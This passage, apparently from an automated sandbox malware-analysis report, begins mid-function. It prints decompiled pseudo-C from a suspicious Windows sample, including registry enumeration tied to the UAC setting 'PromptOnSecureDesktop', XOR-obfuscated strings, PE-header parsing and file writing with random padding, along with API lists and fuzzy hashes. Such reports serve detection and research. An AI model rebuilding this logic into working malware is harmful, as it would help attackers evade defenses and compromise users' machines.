					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,751443E0,?,751443E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(751443E0,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,751443E0,00000000), ref: 0040719E
RegCloseKey.KERNELBASE(751443E0,?,751443E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(751443E0), ref: 00407208
RegCloseKey.ADVAPI32(751443E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(751443E0), ref: 004072D0
RegCloseKey.ADVAPI32(751443E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(751443E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

, xrefs: 00407194
", xrefs: 00407227
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,751443E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,751443E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,751443E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,751443E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 00422C00, Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 00422C7C
__heap_init.LIBCMTD ref: 00422C86

Part of subcall function 00433050: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00422C8B,00000001), ref: 00433066

_fast_error_exit.LIBCMTD ref: 00422C94

Part of subcall function 00422DE0: ___crtExitProcess.LIBCMTD ref: 00422E04

__mtinit.LIBCMTD ref: 00422C9C
_fast_error_exit.LIBCMTD ref: 00422CA7
__RTC_Initialize.LIBCMTD ref: 00422CB9
___crtGetEnvironmentStringsW.LIBCMTD ref: 00422CE2
___wsetargv.LIBCMTD ref: 00422CEC
__wsetenvp.LIBCMTD ref: 00422CFF
__cinit.LIBCMTD ref: 00422D14
__wwincmdln.LIBCMTD ref: 00422D31

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: fa2c6c84ac1991205bfe23444f18f047f0a8ba458789687b5189e0f685abd138
Instruction ID: 9ea884b020d1b2d110705dd001ba92002bc56ac98be7529b0fd65495c91f3a1c
Opcode Fuzzy Hash: fa2c6c84ac1991205bfe23444f18f047f0a8ba458789687b5189e0f685abd138
Instruction Fuzzy Hash: 584199B1E00325ABD710AFA2EE0279E76B4AB0470CF90053EF505A7292E7BD5505CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0054003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0054024D

Strings

kernel32.dll, xrefs: 0054008F, 00540095
cess, xrefs: 0054018D

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a4351ff8816cb361511761c9d6ed7a88eec2b58d946cd41f2843bb69fd5514d7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 15526974A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB291DB30AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00433590, Relevance: 7.8, APIs: 5, Instructions: 255COMMON

Download Yara Rule

APIs

getSystemCP.LIBCMTD ref: 004335A7

Part of subcall function 00433480: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004334EE

setSBCS.LIBCMTD ref: 004335BC
setSBUpLow.LIBCMTD ref: 00433718

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID:
API String ID: 2101441384-0
Opcode ID: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction ID: 31b82d65da41c1a2044a18e60cd2a1daba299c39737a5f0df7d7a21154b222a0
Opcode Fuzzy Hash: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction Fuzzy Hash: 3DB17AB4904119EFDB08CF54C480AAEBBB1BF48306F24D55AE8266B341C339EB45DF89

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
